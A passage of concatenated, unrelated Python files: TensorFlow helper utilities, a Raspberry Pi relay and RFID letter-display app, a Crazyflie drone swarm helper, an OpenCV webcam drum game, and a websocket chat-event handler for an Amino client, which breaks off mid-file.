self._feed_input(feed_dict, inpt, value) # for inpt_name, value in kwargs.items(): # self._feed_input(feed_dict, self.input_names[inpt_name], value) # results = get_session().run(self.outputs_update, feed_dict=feed_dict)[:-1] # return results # # # ================================================================ # # Flat vectors # # ================================================================ # # # def var_shape(x): # out = x.get_shape().as_list() # assert all(isinstance(a, int) for a in out), \ # "shape function assumes that shape is fully known" # return out # # def numel(x): # return intprod(var_shape(x)) # # def intprod(x): # return int(np.prod(x)) # # # def flatgrad(loss, var_list, clip_norm=None): # grads = tf.gradients(loss, var_list) # if clip_norm is not None: # grads = [tf.clip_by_norm(grad, clip_norm=clip_norm) for grad in grads] # # set null gradient to zero. # return tf.concat(axis=0, values=[ # tf.reshape(grad if grad is not None else tf.zeros_like(v), [numel(v)]) # for (v, grad) in zip(var_list, grads) # ]) # # # class SetFromFlat(object): # # def __init__(self, var_list, dtype=tf.float32): # assigns = [] # shapes = list(map(var_shape, var_list)) # total_size = np.sum([intprod(shape) for shape in shapes]) # # self.theta = theta = tf.placeholder(dtype, [total_size]) # start = 0 # assigns = [] # for (shape, v) in zip(shapes, var_list): # size = intprod(shape) # assigns.append(tf.assign(v, tf.reshape(theta[start:start + size], shape))) # start += size # self.op = tf.group(*assigns) # # def __call__(self, theta): # tf.get_default_session().run(self.op, feed_dict={self.theta: theta}) # # class GetFlat(object): # def __init__(self, var_list): # self.op = tf.concat(axis=0, values=[tf.reshape(v, [numel(v)]) for v in var_list]) # # def __call__(self): # return tf.get_default_session().run(self.op) # # def flattenallbut0(x): # return tf.reshape(x, [-1, intprod(x.get_shape().as_list()[1:])]) # # ============================================================= # TF placeholders management # ============================================================ _PLACEHOLDER_CACHE = {} # name -> (placeholder, dtype, shape) # def get_placeholder(name, dtype, shape): if name in _PLACEHOLDER_CACHE: out, dtype1, shape1 = _PLACEHOLDER_CACHE[name] if out.graph == tf.get_default_graph(): assert dtype1 == dtype and shape1 == shape, \ 'Placeholder with name {} has already been registered and has shape {}, different from requested {}'.format(name, shape1, shape) return out out = tf.placeholder(dtype=dtype, shape=shape, name=name) _PLACEHOLDER_CACHE[name] = (out, dtype, shape) return out def get_placeholder_cached(name): return _PLACEHOLDER_CACHE[name][0] # # # # # ================================================================ # # Diagnostics # # ================================================================ # # def display_var_info(vars): # from RLA.easy_log import logger # # from RLA.easy_log import logger # count_params = 0 # for v in vars: # name = v.name # if "/Adam" in name or "beta1_power" in name or "beta2_power" in name: continue # v_params = np.prod(v.shape.as_list()) # count_params += v_params # if "/b:" in name or "/bias" in name: continue # Wx+b, bias is not interesting to look at => count params, but not print # logger.info(" %s%s %i params %s" % (name, " "*(55-len(name)), v_params, str(v.shape))) # # logger.info("Total model parameters: %0.2f million" % (count_params*1e-6)) # # # def get_available_gpus(): # # recipe from here: # # https://stackoverflow.com/questions/38559755/how-to-get-current-available-gpus-in-tensorflow?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa # # from tensorflow.python.client import device_lib # local_device_protos = device_lib.list_local_devices() # return [x.name for x in local_device_protos if x.device_type == 'GPU'] # # # ================================================================ # # Saving variables # # ================================================================ # # def load_state(fname, sess=None): # from RLA.easy_log import logger # logger.warn('load_state method is deprecated, please use load_variables instead') # sess = sess or get_session() # saver = tf.train.Saver() # saver.restore(tf.get_default_session(), fname) # # def save_state(fname, sess=None): # from RLA.easy_log import logger # logger.warn('save_state method is deprecated, please use save_variables instead') # sess = sess or get_session() # dirname = os.path.dirname(fname) # if any(dirname): # os.makedirs(dirname, exist_ok=True) # saver = tf.train.Saver() # saver.save(tf.get_default_session(), fname) # # # The methods above and below are clearly doing the same thing, and in a rather similar way # # TODO: ensure there is no subtle differences and remove one # # def save_variables(save_path, variables=None, sess=None): # import joblib # sess = sess or get_session() # variables = variables or tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES) # # ps = sess.run(variables) # save_dict = {v.name: value for v, value in zip(variables, ps)} # dirname = os.path.dirname(save_path) # if any(dirname): # os.makedirs(dirname, exist_ok=True) # joblib.dump(save_dict, save_path) # # def load_variables(load_path, variables=None, sess=None): # import joblib # sess = sess or get_session() # variables = variables or tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES) # # loaded_params = joblib.load(os.path.expanduser(load_path)) # restores = [] # if isinstance(loaded_params, list): # assert len(loaded_params) == len(variables), 'number of variables loaded mismatches len(variables)' # for d, v in zip(loaded_params, variables): # restores.append(v.assign(d)) # else: # for v in variables: # restores.append(v.assign(loaded_params[v.name])) # # sess.run(restores) # # # ================================================================ # # Shape adjustment for feeding into tf placeholders # # ================================================================ # def adjust_shape(placeholder, data): # ''' # adjust shape of the data to the shape of the placeholder if possible. # If shape is incompatible, AssertionError is thrown # # Parameters: # placeholder tensorflow input placeholder # # data input data to be (potentially) reshaped to be fed into placeholder # # Returns: # reshaped data # ''' # # if not isinstance(data, np.ndarray) and not isinstance(data, list): # return data # if isinstance(data, list): # data = np.array(data) # # placeholder_shape = [x or -1 for x in placeholder.shape.as_list()] # # assert _check_shape(placeholder_shape, data.shape), \ # 'Shape of data {} is not compatible with shape of the placeholder {}'.format(data.shape, placeholder_shape) # try: # return np.reshape(data, placeholder_shape) # except BaseException as e: # append_msg = "\n [ERROR] rehshape ph: {}. shape {}, data shape {}".format(placeholder, placeholder.shape, data.shape) # print(append_msg) # e.args[0] += append_msg # raise e # # def _check_shape(placeholder_shape, data_shape): # ''' check if two shapes are compatible (i.e. differ only by dimensions of size 1, or by the batch dimension)''' # # return True # squeezed_placeholder_shape = _squeeze_shape(placeholder_shape) # squeezed_data_shape = _squeeze_shape(data_shape) # # for i, s_data in enumerate(squeezed_data_shape): # s_placeholder = squeezed_placeholder_shape[i] # if s_placeholder != -1 and s_data != s_placeholder: # return False # # return True # # # def _squeeze_shape(shape): # return [x for x in shape if x != 1] # # # ================================================================ # # Tensorboard interfacing # # ================================================================ # # def launch_tensorboard_in_background(log_dir): # ''' # To log the Tensorflow graph when using rl-algs # algorithms, you can run the following code # in your main script: # import threading, time # def start_tensorboard(session): # time.sleep(10) # Wait until graph is setup # tb_path = osp.join(logger.get_dir(), 'tb') # summary_writer = tf.summary.FileWriter(tb_path, graph=session.graph) # summary_op = tf.summary.merge_all() # launch_tensorboard_in_background(tb_path) # session = tf.get_default_session() # t = threading.Thread(target=start_tensorboard, args=([session])) # t.start() # ''' # import subprocess # subprocess.Popen(['tensorboard', '--logdir', log_dir])
AlphabetApp.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ AlphabetApp.py AlphabetApp application extends SketchApp. """ import platform from constants import * from SketchApp import SketchApp from PyQt5.QtCore import pyqtSlot, QTimer import threading, time import RPi.GPIO as GPIO import MFRC522 # modified for GPIO mode class AlphabetApp(SketchApp): #__________________________________________________________________ def __init__(self, argv, client, debugging_mqtt=False, gpio_bcm=True, no_gpio=False): super().__init__(argv, client, debugging_mqtt) # let's initialize automation stuff in setupAutomation() #__________________________________________________________________ @pyqtSlot() def doSequence(self): if self._sequence: on, x, interval = self._sequence.pop(0) if on: if self.setLetterOn(x): self._display = x else: self._logger.warning("{} '{}'".format(self.tr("Ignore set ON letter"), x)) else: if self.setLetterOff(x): self._display = None else: self._logger.warning("{} '{}'F".format(self.tr("Ignore set OFF letter"), x)) self.publishAllData() QTimer.singleShot(interval, self.doSequence) else: self.setAllLettersOff() self._display = None self.publishMessage(PIRELAY_INBOX, "lumières-salon:allumer") self.publishAllData() #__________________________________________________________________ def performAction(self, message): #self._logger.debug("Action " + message) if message == "app:startup": self._mqttDataCount = 0 self.publishAllData() self.publishMessage(self._mqttOutbox, "DONE " + message) elif message.startswith("éclairer:"): text = message[8:] # fire async sequence self._sequence = [] for x in text: self._sequence.append((ON, x, DISPLAY_ON_TIME)) self._sequence.append((OFF, x, DISPLAY_OFF_TIME)) self.setAllLettersOff() self._display = None self.publishAllData() self.publishMessage(self._mqttOutbox, "DONE " + message) self.publishMessage(PIRELAY_INBOX, "lumières-salon:éteindre") QTimer.singleShot(1000, self.doSequence) elif message == "effet:guirlande": # fire async effect self._sequence = [] for x in list(map(chr, range(65, 91))) + list(map(chr, range(0x30, 0x3A))): self._sequence.append((ON, x, GARLAND_ON_TIME)) self._sequence.append((OFF, x, GARLAND_OFF_TIME)) self.setAllLettersOff() self._display = None self.publishAllData() self.publishMessage(self._mqttOutbox, "DONE " + message) QTimer.singleShot(0, self.doSequence) elif message == "effet:spinning": # fire async effect self.setAllLettersOff() self._display = "spinning" self.publishAllData() time.sleep(2.0) threading.Thread(target=self.processSpinning, ).start() self.publishMessage(self._mqttOutbox, "DONE " + message) elif message == "stop": self._sequence = [] self.publishMessage(self._mqttOutbox, "DONE " + message) else: if False: pass self.publishMessage(self._mqttOutbox, "DONE " + message) else: print(message) self.publishMessage(self._mqttOutbox, "OMIT " + message) #__________________________________________________________________ def processAutomation(self): '''read sensors and fire related sound''' #self._logger.debug("Automation processing") if self._criticalMessage: return ''' strange behavior, when a card is present: it loops detected/not detected so we read twice...! ''' detected = 0 ''' read RFID ''' if self._MIFAREReader: # Scan for cards (status,TagType) = self._MIFAREReader.MFRC522_Request(self._MIFAREReader.PICC_REQIDL) # If a card is found if status == self._MIFAREReader.MI_OK: detected = detected + 1 # Get the UID of the card (status,uid) = self._MIFAREReader.MFRC522_Anticoll() # If we have the UID if status == self._MIFAREReader.MI_OK: detected = detected + 1 ''' read a second time ''' # Scan for cards (status,TagType) = self._MIFAREReader.MFRC522_Request(self._MIFAREReader.PICC_REQIDL) # If a card is found if status == self._MIFAREReader.MI_OK: detected = detected + 1 # Get the UID of the card (status,uid) = self._MIFAREReader.MFRC522_Anticoll() # If we have the UID if status == self._MIFAREReader.MI_OK: detected = detected + 1 if detected == 2: # card present if not self._cardPresent: data = "DATA carte=oui" self.publishMessage(self._mqttOutbox, data) self._cardPresent = True else: if self._cardPresent: data = "DATA carte=non" self.publishMessage(self._mqttOutbox, data) self._cardPresent = False #__________________________________________________________________ def processSpinning(self): alphabet = [] for x in list(map(chr, range(65, 91))): alphabet.append(x) try: sleep_on = 0.250 sleep_on_min = 0.030 sleep_on_substract = 0.010 sleep_off = 0.150 sleep_off_min = 0.010 sleep_off_substract = 0.005 ref = 0 round = 0 while round < 26 * 5: self.setLetterOn(alphabet[ref], nolog=True) time.sleep(sleep_on) self.setLetterOff(alphabet[ref], nolog=True) time.sleep(sleep_off) if sleep_on > sleep_on_min + sleep_on_substract: sleep_on = sleep_on - sleep_on_substract else: sleep_on = sleep_on_min if sleep_off > sleep_off_min + sleep_off_substract: sleep_off = sleep_off - sleep_off_substract else: sleep_off = sleep_off_min ref = (ref + 1) % len(alphabet) round = round + 1 print(ref, round, alphabet[ref], sleep_on, sleep_off) except Exception as e: self._logger.error(self.tr("Error in spinning process")) self._logger.debug(e) self._display = None self.publishAllData() #__________________________________________________________________ def publishAllData(self): #self._logger.debug("Publish all") if self._criticalMessage: self.publishMessage(self._mqttOutbox, "MESG " + self._criticalMessage) return display = self._display if not display: display = '-' if self._cardPresent: card = 'oui' else: card = 'non' data = "DATA " + "éclairage=" + display + " carte=" + card self.publishMessage(self._mqttOutbox, data) #__________________________________________________________________ def publishDataChanges(self): #self._logger.debug("Publish changes") ##data = self._sequence_p.change() ##data = data.strip() ##if data: ##self.publishMessage(self._mqttOutbox, "DATA " + data + " phonemes=" + self.sequenceToPhonemes(self._sequence_p.value())) pass #__________________________________________________________________ def setAllLettersOff(self): for rl in RELAYS_ALPHA: GPIO.output(RELAYS_ALPHA[rl], GPIO.LOW) self._logger.info("{} {} {} {} {}".format(self.tr("Relay"), rl, self.tr("on output"), RELAYS_ALPHA[rl], self.tr("is set to 1 (OFF)"))) for rn in RELAYS_NUMER: GPIO.output(RELAYS_NUMER[rn], GPIO.LOW) self._logger.info("{} {} {} {} {}".format(self.tr("Relay"), rn, self.tr("on output"), RELAYS_NUMER[rn], self.tr("is set to 1 (OFF)"))) #__________________________________________________________________ def setLetterOff(self, letter, nolog=False): if letter not in RELAYS: return False rl, rn = RELAYS[letter] GPIO.output(RELAYS_ALPHA[rl], GPIO.LOW) if not nolog: self._logger.info("{} {} {} {} {}".format(self.tr("Relay"), rl, self.tr("on output"), RELAYS_ALPHA[rl], self.tr("is set to 1 (OFF)"))) GPIO.output(RELAYS_NUMER[rn], GPIO.LOW) if not nolog: self._logger.info("{} {} {} {} {}".format(self.tr("Relay"), rn, self.tr("on output"), RELAYS_NUMER[rn], self.tr("is set to 1 (OFF)"))) return True #__________________________________________________________________ def setLetterOn(self, letter, nolog=False): if letter not in RELAYS: return False rl, rn = RELAYS[letter] GPIO.output(RELAYS_ALPHA[rl], GPIO.HIGH) if not nolog: self._logger.info("{} {} {} {} {}".format(self.tr("Relay"), rl, self.tr("on output"), RELAYS_ALPHA[rl], self.tr("is set to 0 (ON)"))) GPIO.output(RELAYS_NUMER[rn], GPIO.HIGH) if not nolog: self._logger.info("{} {} {} {} {}".format(self.tr("Relay"), rn, self.tr("on output"), RELAYS_NUMER[rn], self.tr("is set to 0 (ON)"))) return True #__________________________________________________________________ def setupAutomation(self): '''Done even before session started and before thios class constructor''' #self._logger.debug("Automation setup") self._criticalMessage = None self._sequence = [] self._display = None # one letter at a time, or none if platform.system() == 'Windows': ##no GPIO self._criticalMessage = "running on Windows (no GPIO)" else: for rl in RELAYS_ALPHA: GPIO.setup(RELAYS_ALPHA[rl], GPIO.OUT, initial=GPIO.LOW) self._logger.info("{} {} {} {} {}".format(self.tr("Relay"), rl, self.tr("on output"), RELAYS_ALPHA[rl], self.tr("is set to 0"))) for rn in RELAYS_NUMER: GPIO.setup(RELAYS_NUMER[rn], GPIO.OUT, initial=GPIO.LOW) self._logger.info("{} {} {} {} {}".format(self.tr("Relay"), rn, self.tr("on output"), RELAYS_NUMER[rn], self.tr("is set to 0"))) ''' setup RFID ''' self._cardPresent = False self._MIFAREReader = None try: self._MIFAREReader = MFRC522.MFRC522() self._logger.info(self.tr("RFID ready")) except Exception as e: self._MIFAREReader = None self._logger.error(self.tr("Error in RFID setup")) self._logger.debug(e)
swarm.py
# -*- coding: utf-8 -*- # # || ____ _ __ # +------+ / __ )(_) /_______________ _____ ___ # | 0xBC | / __ / / __/ ___/ ___/ __ `/_ / / _ \ # +------+ / /_/ / / /_/ /__/ / / /_/ / / /_/ __/ # || || /_____/_/\__/\___/_/ \__,_/ /___/\___/ # # Copyright (C) 2016 Bitcraze AB # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. from threading import Thread from cflib.crazyflie.syncCrazyflie import SyncCrazyflie class _Factory: def construct(self, uri): return SyncCrazyflie(uri) class Swarm: """ Runs a swarm of Crazyflies. It implements a functional-ish style of sequential or parallel actions on all individuals of the swarm. When the swarm is connected, a link is opened to each Crazyflie through SyncCrazyflie instances. The instances are maintained by the class and are passed in as the first argument in swarm wide actions. """ def __init__(self, uris, factory=_Factory()): """ Constructs a Swarm instance and instances used to connect to the Crazyflies :param uris: A set of uris to use when connecting to the Crazyflies in the swarm :param factory: A factory class used to create the instances that are used to open links to the Crazyflies. Mainly used for unit testing. """ self._cfs = {} self._is_open = False for uri in uris: self._cfs[uri] = factory.construct(uri) def open_links(self): """ Open links to all individuals in the swarm """ if self._is_open: raise Exception('Already opened') try: self.parallel_safe(lambda scf: scf.open_link()) self._is_open = True except Exception as e: self.close_links() raise e def close_links(self): """ Close all open links """ for uri, cf in self._cfs.items(): cf.close_link() self._is_open = False def __enter__(self): self.open_links() return self def __exit__(self, exc_type, exc_val, exc_tb): self.close_links() def sequential(self, func, args_dict=None): """ Execute a function for all Crazyflies in the swarm, in sequence. The first argument of the function that is passed in will be a SyncCrazyflie instance connected to the Crazyflie to operate on. A list of optional parameters (per Crazyflie) may follow defined by the args_dict. The dictionary is keyed on URI. Example: def my_function(scf, optional_param0, optional_param1) ... args_dict = { URI0: [optional_param0_cf0, optional_param1_cf0], URI1: [optional_param0_cf1, optional_param1_cf1], ... } self.sequential(my_function, args_dict) :param func: the function to execute :param args_dict: parameters to pass to the function """ for uri, cf in self._cfs.items(): args = self._process_args_dict(cf, uri, args_dict) func(*args) def parallel(self, func, args_dict=None): """ Execute a function for all Crazyflies in the swarm, in parallel. One thread per Crazyflie is started to execute the function. The threads are joined at the end. Exceptions raised by the threads are ignored. For a description of the arguments, see sequential() :param func: :param args_dict: """ try: self.parallel_safe(func, args_dict) except Exception: pass def parallel_safe(self, func, args_dict=None): """ Execute a function for all Crazyflies in the swarm, in parallel. One thread per Crazyflie is started to execute the function. The threads are joined at the end and if one or more of the threads raised an exception this function will also raise an exception. For a description of the arguments, see sequential() :param func: :param args_dict: """ threads = [] reporter = self.Reporter() for uri, scf in self._cfs.items(): args = [func, reporter] + \ self._process_args_dict(scf, uri, args_dict) thread = Thread(target=self._thread_function_wrapper, args=args) threads.append(thread) thread.start() for thread in threads: thread.join() if reporter.is_error_reported(): raise Exception('One or more threads raised an exception when ' 'executing parallel task') def _thread_function_wrapper(self, *args): try: func = args[0] reporter = args[1] func(*args[2:]) except Exception: reporter.report_error() def _process_args_dict(self, scf, uri, args_dict): args = [scf] if args_dict: args += args_dict[uri] return args class Reporter: def __init__(self): self.error_reported = False def report_error(self): self.error_reported = True def is_error_reported(self): return self.error_reported
Drum AR Final Final Final Final.py
import cv2 import numpy as np import time import pyaudio import wave from array import array from struct import pack import os import threading import sys from collections import deque from imutils.video import VideoStream import argparse import imutils ##Sound def drumThreadCreator(file): drumThread = threading.Thread(target = play, args = (file,)) drumThread.start() def play(file): CHUNK = 1024 #measured in bytes wf = wave.open(file, 'rb') p = pyaudio.PyAudio() stream = p.open(format=p.get_format_from_width(wf.getsampwidth()), channels=wf.getnchannels(), rate=wf.getframerate(), output=True) data = wf.readframes(CHUNK) while len(data) > 0: stream.write(data) data = wf.readframes(CHUNK) stream.stop_stream() stream.close() p.terminate() ## Main Video Code def playDrum(i): if i == 0: drumThreadCreator("Other/snare.wav") elif i == 1: drumThreadCreator("Other/rack tom.wav") elif i == 2: drumThreadCreator("Other/tom.wav") elif i == 3: drumThreadCreator("Other/kick.wav") elif i == 4: drumThreadCreator("Other/closed hat.wav") def getDrum(i): color = (0,255,0) lineWidth = 2 radius1, radius2, radius3, radius4 = 100, 120, 140, 100 point1, point2, point3, point4, point5 = (300,550), (580,500), (820,500), (1100,550), (150,300) cir1 = (point1,radius2,color,lineWidth) cir2 = (point2,radius1,color,lineWidth) cir3 = (point3,radius1,color,lineWidth) cir4 = (point4,radius3,color,lineWidth) cir5 = (point5,radius4,color,lineWidth) ##Change based on System Mac or Windows drumParas = [cir1,cir2,cir3,cir4,cir5] return drumParas[i] def main(): hRange = (550, 650) splitRange = 320 drumNum = 5 threshold = (10,10,10) def checkDrum(res, k): point, radius, _, _ = getDrum(k) counter = False for line in range(point[1] - radius//2, point[1] + (radius*2//3), 20): for char in range(point[0] - radius//2, point[0] + radius//2, 20): for i in range(3): if res[line][char][i] >= threshold[i]: counter = True return counter #range of color #colorLower = np.array([0, 50, 0], np.uint8) #colorUpper = np.array([45, 100, 100], np.uint8) colorLower = np.array([0, 120, 70], np.uint8) colorUpper = np.array([10, 255, 255], np.uint8) colorLower1 = np.array([170, 120, 70], np.uint8) colorUpper1 = np.array([180, 255, 255], np.uint8) kernal = np.ones((5,5), 'uint8') drums = [0] * drumNum inDrums = [False] * drumNum cap = cv2.VideoCapture(0) time.sleep(2.0) drumStatus = [0] * drumNum while(True): for i in range(len(drums)): if drums[i] > 0: drums[i] -= 1 ret, frame = cap.read() frame = cv2.resize(frame, (0,0), fx = 1, fy = 1) #print(len(frame), len(frame[0])) #1440, 2560, 720, 1280 frame = cv2.flip(frame, +1) blurred = cv2.GaussianBlur(frame, (11,11), 0) frameHSV = cv2.cvtColor(blurred, cv2.COLOR_BGR2HSV) frameHSV = cv2.erode(frameHSV, kernal, iterations = 5) frameHSV = cv2.dilate(frameHSV, kernal, iterations = 5) cv2.imshow("hsv", frameHSV) colorMask0 = cv2.inRange(frameHSV, colorLower, colorUpper) colorMask1 = cv2.inRange(frameHSV, colorLower1, colorUpper1) colorMask = colorMask0 + colorMask1 res = cv2.bitwise_and(frame, frame, mask = colorMask) cv2.imshow("Before",res) gray = cv2.cvtColor(res, cv2.COLOR_BGR2GRAY) cv2.imshow("After", res) thresh = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 11, 2) contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) count = 0 for i in contours: count += 1 ((x,y), radius) = cv2.minEnclosingCircle(i) if radius < 20: continue M = cv2.moments(i) center = (int(M["m10"] / M["m00"]), int(M["m01"] / M["m00"])) cv2.circle(frame, (int(x), int(y)), int(radius), (0, 0, 255), 2) cv2.circle(frame, center, 5, (0, 0, 255), -1) for i in range(len(drums)): timer = drums[i] point, radius, color, lineWidth = getDrum(i) cv2.circle(frame,point,radius,color,lineWidth) if timer == 0: isHit = checkDrum(res, i) if isHit == True and inDrums[i] == False: drumStatus[i] = 1 cv2.circle(frame,point,radius,color,-1) drums[i] = 5 inDrums[i] = True else: inDrums[i] = False for i in range(len(drumStatus)): if drumStatus[i] == 1: playDrum(i) drumStatus[i] = 0 cv2.imshow("Hello", res) cv2.imshow("Drum AR", frame) #if condition is met, break out of loop ch = cv2.waitKey(1) if ch & 0xFF == ord('q'): break cap.release cv2.destroyAllWindows() main() ## Tkinter
socket.py
import time import json import websocket import contextlib from threading import Thread from sys import _getframe as getframe from ..lib.util import objects, helpers class SocketHandler: def __init__(self, client, socket_trace = False, debug = False): self.socket_url = "wss://ws1.narvii.com" self.client = client self.debug = debug self.active = False self.headers = None self.socket = None self.socket_thread = None self.reconnectTime = 180 self.socket_thread = None if self.socket_enabled: self.reconnect_thread = Thread(target=self.reconnect_handler) self.reconnect_thread.start() websocket.enableTrace(socket_trace) def reconnect_handler(self): # Made by enchart#3410 thx # Fixed by The_Phoenix#3967 while True: time.sleep(self.reconnectTime) if self.active: if self.debug is True: print(f"[socket][reconnect_handler] Reconnecting Socket") self.close() self.run_amino_socket() def handle_message(self, ws, data): self.client.handle_socket_message(data) return def send(self, data): if self.debug is True: print(f"[socket][send] Sending Data : {data}") if not self.socket_thread: self.run_amino_socket() time.sleep(5) self.socket.send(data) def run_amino_socket(self): try: if self.debug is True: print(f"[socket][start] Starting Socket") if self.client.sid is None: return final = f"{self.client.device_id}|{int(time.time() * 1000)}" self.headers = { "NDCDEVICEID": self.client.device_id, "NDCAUTH": f"sid={self.client.sid}", "NDC-MSG-SIG": helpers.signature(final) } self.socket = websocket.WebSocketApp( f"{self.socket_url}/?signbody={final.replace('|', '%7C')}", on_message = self.handle_message, header = self.headers ) self.active = True self.socket_thread = Thread(target=self.socket.run_forever) self.socket_thread.start() if self.reconnect_thread is None: self.reconnect_thread = Thread(target=self.reconnect_handler) self.reconnect_thread.start() if self.debug is True: print(f"[socket][start] Socket Started") except Exception as e: print(e) def close(self): if self.debug is True: print(f"[socket][close] Closing Socket") self.active = False try: self.socket.close() except Exception as closeError: if self.debug is True: print(f"[socket][close] Error while closing Socket : {closeError}") return class Callbacks: def __init__(self, client): self.client = client self.handlers = {} self.methods = { 304: self._resolve_chat_action_start, 306: self._resolve_chat_action_end, 1000: self._resolve_chat_message } self.chat_methods = { "0:0": self.on_text_message, "0:100": self.on_image_message, "0:103": self.on_youtube_message, "1:0": self.on_strike_message, "2:110": self.on_voice_message, "3:113": self.on_sticker_message, "52:0": self.on_voice_chat_not_answered, "53:0": self.on_voice_chat_not_cancelled, "54:0": self.on_voice_chat_not_declined, "55:0": self.on_video_chat_not_answered, "56:0": self.on_video_chat_not_cancelled, "57:0": self.on_video_chat_not_declined, "58:0": self.on_avatar_chat_not_answered, "59:0": self.on_avatar_chat_not_cancelled, "60:0": self.on_avatar_chat_not_declined, "100:0": self.on_delete_message, "101:0": self.on_group_member_join, "102:0": self.on_group_member_leave, "103:0": self.on_chat_invite, "104:0": self.on_chat_background_changed, "105:0": self.on_chat_title_changed, "106:0": self.on_chat_icon_changed, "107:0": self.on_voice_chat_start, "108:0": self.on_video_chat_start, "109:0": self.on_avatar_chat_start, "110:0": self.on_voice_chat_end, "111:0": self.on_video_chat_end, "112:0": self.on_avatar_chat_end, "113:0": self.on_chat_content_changed, "114:0": self.on_screen_room_start, "115:0": self.on_screen_room_end, "116:0": self.on_chat_host_transfered, "117:0": self.on_text_message_force_removed, "118:0": self.on_chat_removed_message, "119:0": self.on_text_message_removed_by_admin, "120:0": self.on_chat_tip, "121:0": self.on_chat_pin_announcement, "122:0": self.on_voice_chat_permission_open_to_everyone, "123:0": self.on_voice_chat_permission_invited_and_requested, "124:0": self.on_voice_chat_permission_invite_only, "125:0": self.on_chat_view_only_enabled, "126:0": self.on_chat_view_only_disabled, "127:0": self.on_chat_unpin_announcement, "128:0": self.on_chat_tipping_enabled, "129:0": self.on_chat_tipping_disabled, "65281:0": self.on_timestamp_message, "65282:0": self.on_welcome_message, "65283:0": self.on_invite_message } self.chat_actions_start = { "Typing": self.on_user_typing_start, } self.chat_actions_end = { "Typing": self.on_user_typing_end, } def _resolve_chat_message(self, data): key = f"{data['o']['chatMessage']['type']}:{data['o']['chatMessage'].get('mediaType', 0)}" return self.chat_methods.get(key, self.default)(data) def _resolve_chat_action_start(self, data): key = data['o'].get('actions', 0) return self.chat_actions_start.get(key, self.default)(data) def _resolve_chat_action_end(self, data): key = data['o'].get('actions', 0) return self.chat_actions_end.get(key, self.default)(data) def resolve(self, data): data = json.loads(data) return self.methods.get(data["t"], self.default)(data) def call(self, type, data): if type in self.handlers: for handler in self.handlers[type]: handler(data) def event(self, type): def registerHandler(handler): if type in self.handlers: self.handlers[type].append(handler) else: self.handlers[type] = [handler] return handler return registerHandler def on_text_message(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_image_message(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_youtube_message(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_strike_message(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_voice_message(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_sticker_message(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_voice_chat_not_answered(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_voice_chat_not_cancelled(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_voice_chat_not_declined(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_video_chat_not_answered(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_video_chat_not_cancelled(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_video_chat_not_declined(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_avatar_chat_not_answered(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_avatar_chat_not_cancelled(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_avatar_chat_not_declined(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_delete_message(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_group_member_join(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_group_member_leave(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_invite(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_background_changed(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_title_changed(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_icon_changed(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_voice_chat_start(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_video_chat_start(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_avatar_chat_start(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_voice_chat_end(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_video_chat_end(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_avatar_chat_end(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_content_changed(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_screen_room_start(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_screen_room_end(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_host_transfered(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_text_message_force_removed(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_removed_message(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_text_message_removed_by_admin(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_tip(self, data): self.call(getframe(0).f_code.co_name, objects.Event(data["o"]).Event) def on_chat_pin_announcement(self, data): self.call(getframe(0).f_code.co_name, 